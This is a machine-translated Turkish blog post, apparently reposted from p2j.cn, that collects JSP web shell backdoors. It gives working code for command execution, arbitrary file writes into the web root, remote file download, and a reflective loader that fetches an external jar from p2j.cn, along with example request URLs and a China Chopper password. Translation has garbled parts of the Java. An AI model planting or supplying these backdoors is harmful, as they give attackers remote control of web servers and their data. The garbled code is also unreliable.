|
|
Yayınlandı 2.01.2015 18:46:57
|
|
|
|

Transfer edilenler: http://p2j.cn/?p=1627 1. Sistem komutlarını çalıştırın: Sistem komutlarını echo olmadan çalıştırın: <%Runtime.getRuntime().exec(request.getParameter("i"));%> İstek: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls Icradan sonra yankı olmaz, bu da zıplama mermileri için çok kullanışlıdır. Şifre doğrulamasında da yankılar var: <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = yeni bayt[2048]; out.print("<pre>); while((a=in.read(b))!=-1){ out.println(yeni String(b)); } out.print("</pre>); }%> İstek: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
2. Diziyi kodlayın ve belirtilen dosyaya yazın: 1: <%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%> İstek: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Web dizinine yaz: <%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes();%> İstek: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2: <%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> İstek: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Web dizinine yaz: <%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> İstek: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 3: Uzak dosyayı indirin (Apache io utils kullanmıyorsanız, giriş akışını bayta dönüştüremezsiniz, bu yüzden çok uzun...) <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = yeni bayt[1024]; java.io.ByteArrayOutputStream baos = yeni java.io.ByteArrayOutputStream(); int a = -1; oysa ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(request.getParameter("f"))).write(baos.toByteArray()); %> İstek: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png Web yoluna indirin: <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = yeni bayt[1024]; java.io.ByteArrayOutputStream baos = yeni java.io.ByteArrayOutputStream(); int a = -1; oysa ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %> İstek: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png Dört: Yansıtma dış kavanozu çağırır, arka kapıyı mükemmelleştirir Yukarıdaki arka kapı fonksiyonu çok zayıf ve modası geçmiş değilse, bunu deneyebilirsiniz: <%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})))).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%> İstek: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A
Mutfak bıçağı bağlantısı: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, şifre 023.
Çözüm: Yansıtma kullanarak harici bir jar mevcut uygulamaya yüklenir ve yansıtma çıktı işleme sonucunu çalıştırır. request.getParameterMap() istenen tüm parametreleri içerir. Harici jar paketi yüklendiğinden, sunucu bu jar adresine erişebilmelidir. |
Önceki:TXT metin dosyasının arkasındaki krizÖnümüzdeki:Java MD5 şifreleme, Base64 şifreleme ve şifre çözme Java sistem komutu kaynak kodunu çalıştırır
|